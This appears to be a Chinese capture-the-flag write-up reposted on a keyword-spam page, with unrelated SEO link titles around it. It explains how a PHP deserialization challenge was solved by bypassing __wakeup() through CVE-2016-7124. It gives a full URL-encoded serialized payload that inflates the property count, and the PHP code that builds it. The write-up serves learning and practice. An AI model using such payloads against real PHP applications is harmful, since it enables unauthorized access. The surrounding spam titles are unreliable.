当前位置: 首页 > news >正文

做网站珊瑚橙颜色怎么搭配好看关键词大全

做网站珊瑚橙颜色怎么搭配好看,关键词大全,传奇类网页游戏大全,炉石卡牌制作网页1.通过目录扫描找到它的备份文件,这里的备份文件是它的源码。 2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。 我们提交的select参数会被进行反序列化,我们要构造符合输出flag条件的序列化数据。 但是,这里要注意的就是我们提…

1.通过目录扫描找到它的备份文件,这里的备份文件是它的源码。

2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。

我们提交的select参数会被进行反序列化,我们要构造符合输出flag条件的序列化数据。

但是,这里要注意的就是我们提前序列化好的数据,在进行反序列化之前,会执行wakeup函数,而这里一旦执行wakeup函数,就会把我们的参数给改了,那就会不满足输出flag的条件。所以这里需要绕过这个wakeup函数,需要利用的就是绕过wakeup函数的漏洞。

利用CVE-2016-7124漏洞绕过__wakeup()函数

CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

这是正常的:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

改成可以绕过的:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

把表示属性个数的值修改为大于实际的即可。

但是直接把这个构造的数据提交还是不行,因为

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上一个url编码为%00的字符前缀,但是这个前缀是不可见的,并且在复制的时候会丢失。字符串长度也包括所加前缀的长度,所以复制下来之后再去添加即可。

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

3.序列化的代码

总结:反序列化对象的时候,会触发wakeup函数,之后对象销毁还会触发destruct函数,但是不会触发construct函数。

<?php
class Name{
private $username = 'admin';
private $password = '100';#这里也可以换成数字100
}
$name = new Name;
print(serialize($name));
?>
 

http://www.tj-hxxt.cn/news/1297.html

相关文章:

  • 深圳软件开发公司招聘吉林百度seo公司
  • 在国外网站付款要怎么做青岛网站制作公司
  • 新服务器做网站如何配置怎么在百度上投放广告
  • 开发动态网站价格本地推荐本地推荐
  • 网站营销代理seo薪资水平
  • 在线设计发型如何优化网络延迟
  • 自动建站源码网站域名在哪里查询
  • 新手做啥网站好seo的基础优化
  • 旅游海外推广网站建设方案什么是搜索引擎销售
  • 优化网站 提高查询长春刚刚最新消息今天
  • 公司网站建设是哪个部门的事情腾讯网qq网站
  • 合肥做网站的公武汉网站建设推广公司
  • wordpress门户主题 门户一号下载怎样淘宝seo排名优化
  • 做学校法人年度报告的网站优化网站seo方案
  • 房地产利好消息2023seo优化
  • 驻马店app和网站开发公司成都企业seo
  • 怀宁县住房与城乡建设局网站推广竞价托管公司
  • 广州东莞网站建设webview播放视频
  • 家教网站模板下载微博今日热搜榜
  • 仙桃做网站的公司怎么网络推广
  • 购物02网站友情链接检测结果
  • 网站建设费用做无形资产百度网址大全旧版
  • 政治工作网站管理建设附近的电脑培训班在哪里
  • 做英文网站多钱最新网站查询工具
  • 十大企业网站排行榜长沙百度
  • 西安市疫情最新情况微信seo是什么意思
  • 网站管理员密码忘记了厦门百度竞价
  • 呼和浩特网络公司林哥seo
  • 在线制作logo网站网站关键词优化排名
  • wordpress链接自定义后文章打不开百度seo优化是什么